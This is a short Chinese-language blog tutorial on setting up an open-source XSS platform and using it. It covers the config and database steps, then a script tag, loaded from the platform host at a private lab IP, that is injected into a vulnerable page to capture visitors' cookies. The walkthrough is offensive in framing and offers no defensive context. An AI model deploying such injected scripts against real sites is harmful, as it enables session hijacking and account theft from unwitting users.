XSS平台搭建及利用

简介: XSS平台搭建及利用

男孩子要娶,就要娶一见你就笑的女生,女孩子要嫁就要嫁能让你笑的男生。。。

----  网易云热评

一、下载平台源码、拷贝到我们网站的根目录

https://github.com/anwilx/xss_platform

image.png

二、修改相关参数

1、config.php,数据库用户、密码、还有xss平台的访问路径

image.png

2、导入sql文件,测试的时候没法导入,所以就手动创建了数据库

新建数据库

image.png

打开xssplatform.sql,将里面的sql语句执行一遍

image.png

3、更新站点域名,将作者的域名替换,一共有四处

将module模块里"http://xsser.me"替换为"http://www.aiyouxss.com/xss");

4、修改authtest文件

image.png

三、平台利用

1、注册一个账户

image.png

2、创建一个项目

image.png

3、配置相关信息,根据需要,添加模块

image.png

4、复制script里面代码,插入到存在xss漏洞的页面

  •  

<script src=http://192.168.139.129/xss/E3vbsa></script>

  • 1.

image.png

5、打开xss平台,已获取对方cookie

image.png

目录
相关文章
|
4月前
|
前端开发 网络安全
【XSS平台】使用(1),网络安全插件化+模块化+组件化+热修复
【XSS平台】使用(1),网络安全插件化+模块化+组件化+热修复
|
4月前
|
前端开发 网络安全
【XSS平台】使用,网络安全开发必学
【XSS平台】使用,网络安全开发必学
|
4月前
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
251 1
|
Web App开发 SQL JavaScript
XSS练习平台【XSS Challenges】
XSS练习平台【XSS Challenges】
178 0
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
1604 0
XSS平台搭建及利用
|
存储 弹性计算 安全
阿里云的运用——搭建属于自己的xss平台
在校期间搭建一个属于自己的xss平台
1039 0
阿里云的运用——搭建属于自己的xss平台
|
存储 开发框架 安全
科普跨站平台 XSS shell 使用方法
理解xss shell是什么之前,让我们一起回顾一下一些基本的xss(跨站脚本),xss是最常见的一个漏洞,存在于今天许多的web应用程序。xss是攻击者试图通过web应用程序执行恶意脚本的技术,攻击者通过突破同源策略的web应用程序。
532 0
科普跨站平台 XSS shell 使用方法
|
2月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
1月前
|
监控 安全 JavaScript
对跨站脚本攻击(XSS)的防御策略?
【8月更文挑战第15天】
89 1